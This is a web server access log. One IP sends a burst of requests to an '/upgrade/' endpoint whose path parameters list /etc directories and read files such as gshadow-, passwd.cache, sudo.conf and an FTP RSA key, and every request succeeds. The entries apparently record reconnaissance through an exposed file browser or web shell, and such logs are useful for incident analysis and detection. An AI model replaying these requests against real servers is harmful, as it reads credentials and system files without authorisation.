45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ftrueuserdomains&location=%2Fetc%2F HTTP/1.1" 200 28667 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ftrueuserdomains&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ftrusted_mail_users&location=%2Fetc%2F HTTP/1.1" 200 28707 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ftrusted_mail_users&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fbindresvport.blacklist&location=%2Fetc%2F HTTP/1.1" 200 29004 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fbindresvport.blacklist&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim_suspended_list&location=%2Fetc%2F HTTP/1.1" 200 28715 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim_suspended_list&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flibuser.conf&location=%2Fetc%2F HTTP/1.1" 200 29677 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flibuser.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flogin.defs&location=%2Fetc%2F HTTP/1.1" 200 31922 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flogin.defs&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnfs.conf&location=%2Fetc%2F HTTP/1.1" 200 29397 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnfs.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?location=%2Fetc%2Fcifs-utils HTTP/1.1" 200 6085 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcifs-utils" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?location=%2Fetc%2Fcron.hourly HTTP/1.1" 200 6078 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcron.hourly" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?location=%2Fetc%2Fdovecot HTTP/1.1" 200 6646 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdovecot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.pl&location=%2Fetc%2F HTTP/1.1" 200 28771 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.pl&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ffavicon.png&location=%2Fetc%2F HTTP/1.1" 200 28992 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ffavicon.png&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fhost.conf&location=%2Fetc%2F HTTP/1.1" 200 28699 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fhost.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmime.types&location=%2Fetc%2F HTTP/1.1" 200 48815 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmime.types&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fredhat-release&location=%2Fetc%2F HTTP/1.1" 200 28737 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fredhat-release&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?location=%2Fetc%2Fpam.d HTTP/1.1" 200 7888 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpam.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fat.deny&location=%2Fetc%2F HTTP/1.1" 200 28694 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fat.deny&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:25 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcrypttab&location=%2Fetc%2F HTTP/1.1" 200 28695 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcrypttab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.precpanelinstall&location=%2Fetc%2F HTTP/1.1" 200 28657 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.precpanelinstall&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsudo-ldap.conf&location=%2Fetc%2F HTTP/1.1" 200 28705 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsudo-ldap.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.cache&location=%2Fetc%2F HTTP/1.1" 200 28930 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fxattr.conf&location=%2Fetc%2F HTTP/1.1" 200 29079 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fxattr.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpspamd.conf&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpspamd.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnsswitch.conf.bak&location=%2Fetc%2F HTTP/1.1" 200 29609 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnsswitch.conf.bak&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwebspam&location=%2Fetc%2F HTTP/1.1" 200 28470 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwebspam&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?location=%2Fetc%2Fcagefs HTTP/1.1" 200 5920 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcagefs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?location=%2Fetc%2Fgeoclue HTTP/1.1" 200 6051 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgeoclue" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?location=%2Fetc%2Fskel HTTP/1.1" 200 6198 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fskel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?location=%2Fetc%2Fudisks2 HTTP/1.1" 200 6122 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fudisks2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:26 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcron.deny&location=%2Fetc%2F HTTP/1.1" 200 28700 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcron.deny&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf&location=%2Fetc%2F HTTP/1.1" 200 28796 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/index.php?location=%2Fetc%2F HTTP/1.1" 200 28625 "http://163.245.207.76:443/upgrade/index.php?location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fkeyutils HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fkeyutils" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fneedrestart HTTP/1.1" 200 5923 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fneedrestart" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fselinux HTTP/1.1" 200 6334 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fselinux" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fsudoers.d HTTP/1.1" 200 5750 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsudoers.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocaldomains.rpmnew&location=%2Fetc%2F HTTP/1.1" 200 28707 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocaldomains.rpmnew&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.rebuilddnsconfig&location=%2Fetc%2F HTTP/1.1" 200 30466 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.rebuilddnsconfig&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsysctl.conf&location=%2Fetc%2F HTTP/1.1" 200 28845 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsysctl.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fchkserv.d HTTP/1.1" 200 7830 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fchkserv.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:27 -0400] "GET /upgrade/?location=%2Fetc%2Fmodulefiles HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fmodulefiles" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fagent360.ini&location=%2Fetc%2F HTTP/1.1" 200 28702 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fagent360.ini&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdracut.conf&location=%2Fetc%2F HTTP/1.1" 200 28785 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdracut.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Finputrc&location=%2Fetc%2F HTTP/1.1" 200 28974 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Finputrc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fkrb5.conf&location=%2Fetc%2F HTTP/1.1" 200 29172 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fkrb5.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flogrotate.conf&location=%2Fetc%2F HTTP/1.1" 200 28928 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flogrotate.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fuserbwlimits&location=%2Fetc%2F HTTP/1.1" 200 28700 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fuserbwlimits&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?location=%2Fetc%2Falsa HTTP/1.1" 200 5923 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Falsa" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?location=%2Fetc%2Fapache2 HTTP/1.1" 200 6285 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fapache2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?location=%2Fetc%2Fopenldap HTTP/1.1" 200 6196 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fopenldap" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?location=%2Fetc%2Fpcp HTTP/1.1" 200 5919 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpcp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fld.so.cache&location=%2Fetc%2F HTTP/1.1" 200 38469 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fld.so.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:28 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpasswd.cache&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpasswd.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frsyncd.conf&location=%2Fetc%2F HTTP/1.1" 200 28971 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frsyncd.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_220129&location=%2Fetc%2F HTTP/1.1" 200 28728 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_220129&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?location=%2Fetc%2Fgss HTTP/1.1" 200 5927 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf.mailman2.dist&location=%2Fetc%2F HTTP/1.1" 200 37196 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf.mailman2.dist&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fftpd-rsa.pem&location=%2Fetc%2F HTTP/1.1" 200 28700 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fftpd-rsa.pem&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?location=%2Fetc%2Fdracut.conf.d HTTP/1.1" 200 5728 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdracut.conf.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fgshadow-&location=%2Fetc%2F HTTP/1.1" 200 28692 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fgshadow-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?location=%2Fetc%2Frc0.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc0.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:29 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpool.conf&location=%2Fetc%2F HTTP/1.1" 200 28244 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpool.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fspammeripblocks&location=%2Fetc%2F HTTP/1.1" 200 28703 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fspammeripblocks&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsudo.conf&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsudo.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ftrueuserowners&location=%2Fetc%2F HTTP/1.1" 200 28663 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ftrueuserowners&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?location=%2Fetc%2Fyum HTTP/1.1" 200 6075 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fyum" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?location=%2Fetc%2F&option=file HTTP/1.1" 200 28634 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_countries&location=%2Fetc%2F HTTP/1.1" 200 28734 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_countries&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_country_ips&location=%2Fetc%2F HTTP/1.1" 200 28737 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fblocked_incoming_email_country_ips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnsswitch.conf&location=%2Fetc%2F HTTP/1.1" 200 30085 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnsswitch.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fvconsole.conf&location=%2Fetc%2F HTTP/1.1" 200 28734 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fvconsole.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
